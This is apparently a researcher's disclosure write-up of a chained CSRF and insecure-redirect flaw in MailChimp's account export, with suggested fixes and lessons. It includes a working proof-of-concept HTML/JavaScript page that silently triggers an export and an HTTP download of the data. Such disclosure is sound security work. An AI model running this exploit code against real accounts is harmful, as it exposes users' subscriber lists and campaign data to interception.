Earlier this year I was working on a MailChimp integration for my “Real Job” and spent the evening poking around their application. I found a few small things that, when combined, allow a man-in-the-middle to view a user’s entire MailChimp account data (including a lists of their subscribers and campaigns).
Cross Site Request Forgery
I first noticed that the account data export endpoint had no CSRF protections. The following HTML, served from any website, would trigger an export for users who are logged into MailChimp.
<img src='https://us9.admin.mailchimp.com/account/export-confirm' />
Resolution
Endpoints that change state should use CSRF protections to validate that requests were the result of an authentic, user-initiated, action.
Insecure Connection
Once an account export job has completed, an email is sent to the user that contains a link to a ZIP file with their data. The link…
https://us9.admin.mailchimp.com/account/export-fetch/
does a 302 redirect to…
http://user-exports.s3.amazonaws.com/<file>.zip?AWSAccessKeyId=<key>...
The file is actually served of HTTP
even though the MailChimp link was HTTPS
. This allows a MITM to view all data from the account export.
Resolution
The export-fetch
URL should redirect to the HTTPS
variant for Amazon S3 URLs: https://user-exports.s3.amazonaws.com/...
Putting it together
I noticed that the link to download the export (https://us9.admin.mailchimp.com/account/export-fetch/
) never changed and had no CSRF protections. A MITM that injects javascript into any HTTP
page was able to trigger an account export and an automatic download of the ZIP over HTTP
.
<html>
<head>
</head>
<body>
<h1>Mailchimp CSRF</h1>
<p><button onclick='start()'>Start Exploit</button></p>
<script type="text/javascript">
var step_one = function(){
console.log('Injecting a CSRF image to request an export');
var elem = document.createElement("img");
elem.src = 'https://us1.admin.mailchimp.com/account/export-confirm';
elem.width = '1';
document.body.appendChild(elem);
}
var step_two = function(){
console.log('Injecting a CSRF to initiate a download');
var elem = document.createElement("iframe");
elem.src = 'https://us1.admin.mailchimp.com/account/export-fetch/';
elem.width = '1px';
elem.style.opacity = 0.01;
document.body.appendChild(elem);
console.log('Notice that the zip was downloaded over HTTP without user interaction');
}
var step_reload = function(){
console.log('Reload the page, skipping the initial export request');
window.location.hash = 'skip_step_one';
window.location.reload(true);
}
var start = function(){
if (window.location.hash != '#skip_step_one') {
step_one();
}
step_two();
console.log('Wait and poll until things downloaded');
setInterval(step_reload, 30000);
}
if (window.location.hash == '#skip_step_one') {
console.log('Autostart on refresh');
start();
}
</script>
</body>
</html>
Conclusions
- CSRF protections are necessary on all endpoints that change state. This is actually a fairly easy mistake to make even with modern web frameworks with built-in CSRF protections.
HTTPS
All the things!- I got a sweet laptop sticker!